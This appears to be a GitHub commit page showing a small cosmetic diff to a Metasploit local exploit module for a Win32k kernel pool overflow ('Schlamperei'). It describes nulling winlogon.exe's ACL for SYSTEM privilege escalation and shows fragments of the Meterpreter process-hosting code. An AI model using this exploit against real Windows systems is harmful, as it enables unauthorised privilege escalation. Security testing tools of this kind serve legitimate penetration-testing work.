File tree Expand file tree Collapse file tree 1 file changed +3
-3
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -15,13 +15,13 @@ class Metasploit3 < Msf::Exploit::Local
1515 include Msf ::Post ::Windows ::Process
1616 include Msf ::Post ::Windows ::FileInfo
1717 include Msf ::Post ::Windows ::ReflectiveDLLInjection
18-
18+
1919 def initialize ( info = { } )
2020 super ( update_info ( info , {
2121 'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)' ,
2222 'Description' => %q{
2323 A kernel pool overflow in Win32k which allows local privilege escalation.
24- The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
24+ The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
2525 This allows any unprivileged process to freely migrate to winlogon.exe, achieving
2626 privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox.
2727 NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
@@ -106,7 +106,7 @@ def exploit
106106 process = client . sys . process . open ( notepad_process_pid , PROCESS_ALL_ACCESS )
107107 print_good ( "Process #{ process . pid } launched." )
108108 rescue Rex ::Post ::Meterpreter ::RequestError
109- print_status ( "Operation failed. Trying to elevate the current process..." )
109+ print_status ( "Operation failed. Hosting exploit in the current process..." )
110110 process = client . sys . process . open
111111 end
112112
You can’t perform that action at this time.
0 commit comments